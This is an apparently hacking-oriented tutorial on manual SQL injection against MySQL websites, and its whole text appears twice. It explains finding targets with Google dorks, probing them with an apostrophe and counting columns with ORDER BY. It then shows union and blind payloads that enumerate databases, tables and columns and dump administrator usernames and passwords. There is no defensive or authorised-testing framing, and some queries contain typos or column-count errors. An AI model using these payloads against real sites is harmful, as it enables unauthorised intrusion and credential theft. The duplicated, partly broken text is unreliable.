Introduction: SQL injection is an attack in which
malicious code is inserted into strings to hack a computer and that are later passed to an
instance of SQL Server for parsing and execution.
Finding Sites: When talking to find a vulnerable site for SQL Injection you will hear the term Dork a lot, this refers to a google search term targeted at finding vulnerable websites. An example of a google dork is inurl:index.php?id=, entering this string in google search engine would return all sites from google cache with the string news.php?id= in their URL.
Ex:
http://www.site.com/news.php?id=4
To be a SQL injection vulnerable a site has to have a GET parameter in the URL.
In http://www.site.com/news.php?id=4, id=4 is the GET parameter as it is getting the id=4 from the backend database.
Checking Vulnerability: To check if the site is vulnerable to SQLi the most common way is to just add an apostrophe( ‘ ) after one of the parameter in the URL.
Ex:
http://www.site.com/news.php?id=4′
Now if the site is vulnerable it will show error like:
You have an error in your SQL Syntax
Warning: mysql_num_rows()
Warning: mysql_fetch_assoc()
Warning: mysql_result()
Warning: mysql_fetch_array()
Warning: mysql_numrows()
Warning: mysql_preg_match()
If you see any of these errors when entering ‘ after the number or string of parameter then the chances are the site is vulnerable to SQLi attacks to some extent. Although that is not the only way to know if the site is vulnerable to SQLi attacks, an error can be in form of when a part of the site is just simply disappears such as a news article, body text or images. If this happens then the site is vulnerable also.
Finding number of columns: After you find that the site is vulnerable the next step is to find the number of columns in the table that is in use. There are couple of ways to do this like ORDER BY or GROUP BY. Here I will use ORDER BY To find the number of columns start with ORDER BY 1.
Ex.
http://www.site.com/news.php?id=4 ORDER BY 1–
If it doesn’t error then probably you can use ORDER BY command. Sometimes you will get error on doing ORDER BY 1, if it gives error then simple move on to other site. If it doesn’t error then I always go to ORDER BY 10000 (because a table can’t have 10000 columns in it) to see if it give error.
Ex.
http://www.site.com/news.php?id=4 ORDER BY 10000–
Sometimes it doesn’t error as it should, then I use AND 1=0 before the ORDER BY query to get an error.
Ex.
http://www.site.com/news.php?id=4 AND 1=0 ORDER BY 10000–
After getting the error on 10000 its up to you how you find the number of columns, I start with 100 and divide the no of columns by 2 until i get closer. Something like this:
http://www.site.com/news.php?id=4 ORDER BY 100–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 50–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 25–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 12–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 6–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 3–
NO ERROR
As 6 is giving error and 3 is not the number of columns is either 3, 4 or 5.
http://www.site.com/news.php?id=4 ORDER BY 4–
NO ERROR
http://www.site.com/news.php?id=4 ORDER BY 5–
ERROR
After this you can conclude that the website has 4 columns as it gives error above ORDER BY 4 and doesn’t error below ORDER BY 4.
NOTE: Comments are not necessary every time when injecting a website, although sometimes they are. Possible comments to use are:
–
/*
/**/
#
Getting MySQL version: This is an important step because if the MySQL version is lower than 5 then we have to guess the name of the tables and columns to inject which is sometimes get frustrating so I would recommend to work on version 5 for beginners. Before finding the version of the column we have to find the visible column number to inject our query to get result. To do this we will use the SELECT statement and UNION ALL statement.
http://www.site.com/news.php?id=4 UNION ALL SELECT 1,2,3,4–
It will return numbers back in data place, if it doesn’t then add a negative sign after the equals sign, put a null in place of the number after the equal sign or add AND 1=0 before the UNION query.
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,3,4–
http://www.site.com/news.php?id=null UNION ALL SELECT 1,2,3,4–
http://www.site.com/news.php?id=4 AND 1=0 UNION ALL SELECT 1,2,3,4–
Now say we got back the number 3, so this is the column that we can retrieve data from. To get the database version there are two ways either version() or @@version, let’s use them:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(version()),4–
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(@@version),4–
If you get an error like “Illegal mix of coallations when using @@version“, then you have to convert it into latin from UTF8 as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(@@version using latin1),4–
NOTE: We are completely replacing the number 3 with our query, something like 1,2,group_concat(@@version),3,4– will result in error.
If it worked you will get the version of MySQL. You will see something like 5.0.45, 5.0.13-log, 4.0.0.1 etc. All we need to focus is on the first number,i.e., 4 or 5. If it is 5 then keep going but if it is 4 and you are new then you should move on to other website because we have to guess the table names in order to extract the data.
NOTE: Sometime you will get frustrated by knowing that you spent 5-10 minutes in just getting the database version after applying the ORDER BY, UNION SELECT and version() in queries and the result is MySQL4. So to save my time in getting the database version, I use the Inferential(Blind SQL Injection) to get the version of the MySQL. Do as follows:
http://www.site.com/news.php?id=4 AND 1=1–
NO ERROR
http://www.site.com/news.php?id=4 AND 1=2–
ERROR
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=4–
If page come back true then the version is 4.
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=5–
If page come back true then the version is 5.
If version is 5 then you can start ORDER BY and continue because you already know that the version is 5 and you will not have to guess the table names. Although I would recommend that beginners should use ORDER BY.
GETTING NAME OF DATABASES: Getting databases name is very important because sometimes the current database the webpage is running does not contains useful informations such as username and passwords. So it is good to have a look at all the databases. In MySQL version 5 or higher there is always a database named ‘information_schema’ which make SQL injection easier. To get the list of the databases use this:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(schema_name),4 from information_schema.schemata–
now you will get the name of all the databases at the same position where you saw the version of MySQL before.
Ex: information_schema,db_site,db_main
To know which database you are working upon use database() in the query as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(database()),4–
Now you will get the current database. Ex: db_site
To know the current user of database use user(), although its not necessary but its good to know.
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(user()),4–
Now you should get the current user of database. Ex: user@localhost.
To save your time you can use a query to display version, current database and user all at once as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(version(),0x3a,database(),0x3a,user()),4–
or
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,CONCAT_WS(CHAR(32,58,32),version(),database(),user()),4–
Getting Table Names: It is good habit to check the table name of all the databases because sometimes the current database does not contains useful information.
To get the table names of current database:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(table_name),4 from information_scheme.tables where table_schema=database()–
Assume it gave you the following names of the tables contains in the current database(in our example db_site).
Ex. News, Gallery, Games etc.
As you can see it is not looks useful, so get the table names of other database(in our example db_main), but to do so you have to encode the name of the database in hexadecimal form and put ’0x’ in front of the encoded hexed name to tell the database that it is hex encoded and and it need to be decoded it to get the right name. In our example we need to get the table name of database ‘db_main’ after encoding it to hex it is equivalent to ’64625f6d61696e’. To get the table names of the database ‘db_main’:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x64625f6d61696e–
It will give you the name of all tables in the database ‘db_main’.
Ex: newsletters, posts, Administrator
Now we can see that this is a good stuff.
NOTE: Online Text to Hex converter: http://www.swingnote.com/tools/texttohex.php
Getting Column Names: Now to extract data from table Administrator we need to find the columns in it. To get this you would do:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x41646d696e6973747261746f72–
NOTE: We replace ‘information_schema.tables‘ with ‘information_schema.columns‘ and ‘table_schema‘ with ‘table_name‘. Again we encoded ‘Administrator’ in Hex to get our query work.
Now you should see the column names.
Ex: Id,Username,Password
Now to extract data from columns ‘Id,Username,Password‘ of table ‘Administrator‘ of database ‘db_main‘, you would do:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(CONCAT_WS(CHAR(32,58,32),Id,Username,Password)) from db_main.Administrator–
Sometimes it will not work then you have to encode ‘db_main.Administrator‘ into hex:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(CONCAT_WS(CHAR(32,58,32),Id,Username,Password)) from 0x64625f6d61696e2e41646d696e6973747261746f72–
Now you will get what you were looking for.
Enjoy...
Finding Sites: When talking to find a vulnerable site for SQL Injection you will hear the term Dork a lot, this refers to a google search term targeted at finding vulnerable websites. An example of a google dork is inurl:index.php?id=, entering this string in google search engine would return all sites from google cache with the string news.php?id= in their URL.
Ex:
http://www.site.com/news.php?id=4
To be a SQL injection vulnerable a site has to have a GET parameter in the URL.
In http://www.site.com/news.php?id=4, id=4 is the GET parameter as it is getting the id=4 from the backend database.
Checking Vulnerability: To check if the site is vulnerable to SQLi the most common way is to just add an apostrophe( ‘ ) after one of the parameter in the URL.
Ex:
http://www.site.com/news.php?id=4′
Now if the site is vulnerable it will show error like:
You have an error in your SQL Syntax
Warning: mysql_num_rows()
Warning: mysql_fetch_assoc()
Warning: mysql_result()
Warning: mysql_fetch_array()
Warning: mysql_numrows()
Warning: mysql_preg_match()
If you see any of these errors when entering ‘ after the number or string of parameter then the chances are the site is vulnerable to SQLi attacks to some extent. Although that is not the only way to know if the site is vulnerable to SQLi attacks, an error can be in form of when a part of the site is just simply disappears such as a news article, body text or images. If this happens then the site is vulnerable also.
Finding number of columns: After you find that the site is vulnerable the next step is to find the number of columns in the table that is in use. There are couple of ways to do this like ORDER BY or GROUP BY. Here I will use ORDER BY To find the number of columns start with ORDER BY 1.
Ex.
http://www.site.com/news.php?id=4 ORDER BY 1–
If it doesn’t error then probably you can use ORDER BY command. Sometimes you will get error on doing ORDER BY 1, if it gives error then simple move on to other site. If it doesn’t error then I always go to ORDER BY 10000 (because a table can’t have 10000 columns in it) to see if it give error.
Ex.
http://www.site.com/news.php?id=4 ORDER BY 10000–
Sometimes it doesn’t error as it should, then I use AND 1=0 before the ORDER BY query to get an error.
Ex.
http://www.site.com/news.php?id=4 AND 1=0 ORDER BY 10000–
After getting the error on 10000 its up to you how you find the number of columns, I start with 100 and divide the no of columns by 2 until i get closer. Something like this:
http://www.site.com/news.php?id=4 ORDER BY 100–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 50–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 25–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 12–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 6–
ERROR
http://www.site.com/news.php?id=4 ORDER BY 3–
NO ERROR
As 6 is giving error and 3 is not the number of columns is either 3, 4 or 5.
http://www.site.com/news.php?id=4 ORDER BY 4–
NO ERROR
http://www.site.com/news.php?id=4 ORDER BY 5–
ERROR
After this you can conclude that the website has 4 columns as it gives error above ORDER BY 4 and doesn’t error below ORDER BY 4.
NOTE: Comments are not necessary every time when injecting a website, although sometimes they are. Possible comments to use are:
–
/*
/**/
#
Getting MySQL version: This is an important step because if the MySQL version is lower than 5 then we have to guess the name of the tables and columns to inject which is sometimes get frustrating so I would recommend to work on version 5 for beginners. Before finding the version of the column we have to find the visible column number to inject our query to get result. To do this we will use the SELECT statement and UNION ALL statement.
http://www.site.com/news.php?id=4 UNION ALL SELECT 1,2,3,4–
It will return numbers back in data place, if it doesn’t then add a negative sign after the equals sign, put a null in place of the number after the equal sign or add AND 1=0 before the UNION query.
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,3,4–
http://www.site.com/news.php?id=null UNION ALL SELECT 1,2,3,4–
http://www.site.com/news.php?id=4 AND 1=0 UNION ALL SELECT 1,2,3,4–
Now say we got back the number 3, so this is the column that we can retrieve data from. To get the database version there are two ways either version() or @@version, let’s use them:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(version()),4–
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(@@version),4–
If you get an error like “Illegal mix of coallations when using @@version“, then you have to convert it into latin from UTF8 as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(@@version using latin1),4–
NOTE: We are completely replacing the number 3 with our query, something like 1,2,group_concat(@@version),3,4– will result in error.
If it worked you will get the version of MySQL. You will see something like 5.0.45, 5.0.13-log, 4.0.0.1 etc. All we need to focus is on the first number,i.e., 4 or 5. If it is 5 then keep going but if it is 4 and you are new then you should move on to other website because we have to guess the table names in order to extract the data.
NOTE: Sometime you will get frustrated by knowing that you spent 5-10 minutes in just getting the database version after applying the ORDER BY, UNION SELECT and version() in queries and the result is MySQL4. So to save my time in getting the database version, I use the Inferential(Blind SQL Injection) to get the version of the MySQL. Do as follows:
http://www.site.com/news.php?id=4 AND 1=1–
NO ERROR
http://www.site.com/news.php?id=4 AND 1=2–
ERROR
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=4–
If page come back true then the version is 4.
http://www.site.com/news.php?id=4 AND substring(@@version,1,1)=5–
If page come back true then the version is 5.
If version is 5 then you can start ORDER BY and continue because you already know that the version is 5 and you will not have to guess the table names. Although I would recommend that beginners should use ORDER BY.
GETTING NAME OF DATABASES: Getting databases name is very important because sometimes the current database the webpage is running does not contains useful informations such as username and passwords. So it is good to have a look at all the databases. In MySQL version 5 or higher there is always a database named ‘information_schema’ which make SQL injection easier. To get the list of the databases use this:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(schema_name),4 from information_schema.schemata–
now you will get the name of all the databases at the same position where you saw the version of MySQL before.
Ex: information_schema,db_site,db_main
To know which database you are working upon use database() in the query as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(database()),4–
Now you will get the current database. Ex: db_site
To know the current user of database use user(), although its not necessary but its good to know.
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(user()),4–
Now you should get the current user of database. Ex: user@localhost.
To save your time you can use a query to display version, current database and user all at once as:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(version(),0x3a,database(),0x3a,user()),4–
or
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,CONCAT_WS(CHAR(32,58,32),version(),database(),user()),4–
Getting Table Names: It is good habit to check the table name of all the databases because sometimes the current database does not contains useful information.
To get the table names of current database:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(table_name),4 from information_scheme.tables where table_schema=database()–
Assume it gave you the following names of the tables contains in the current database(in our example db_site).
Ex. News, Gallery, Games etc.
As you can see it is not looks useful, so get the table names of other database(in our example db_main), but to do so you have to encode the name of the database in hexadecimal form and put ’0x’ in front of the encoded hexed name to tell the database that it is hex encoded and and it need to be decoded it to get the right name. In our example we need to get the table name of database ‘db_main’ after encoding it to hex it is equivalent to ’64625f6d61696e’. To get the table names of the database ‘db_main’:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=0x64625f6d61696e–
It will give you the name of all tables in the database ‘db_main’.
Ex: newsletters, posts, Administrator
Now we can see that this is a good stuff.
NOTE: Online Text to Hex converter: http://www.swingnote.com/tools/texttohex.php
Getting Column Names: Now to extract data from table Administrator we need to find the columns in it. To get this you would do:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(column_name),4 from information_schema.columns where table_name=0x41646d696e6973747261746f72–
NOTE: We replace ‘information_schema.tables‘ with ‘information_schema.columns‘ and ‘table_schema‘ with ‘table_name‘. Again we encoded ‘Administrator’ in Hex to get our query work.
Now you should see the column names.
Ex: Id,Username,Password
Now to extract data from columns ‘Id,Username,Password‘ of table ‘Administrator‘ of database ‘db_main‘, you would do:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(CONCAT_WS(CHAR(32,58,32),Id,Username,Password)) from db_main.Administrator–
Sometimes it will not work then you have to encode ‘db_main.Administrator‘ into hex:
http://www.site.com/news.php?id=-4 UNION ALL SELECT 1,2,group_concat(CONCAT_WS(CHAR(32,58,32),Id,Username,Password)) from 0x64625f6d61696e2e41646d696e6973747261746f72–
Now you will get what you were looking for.
Enjoy...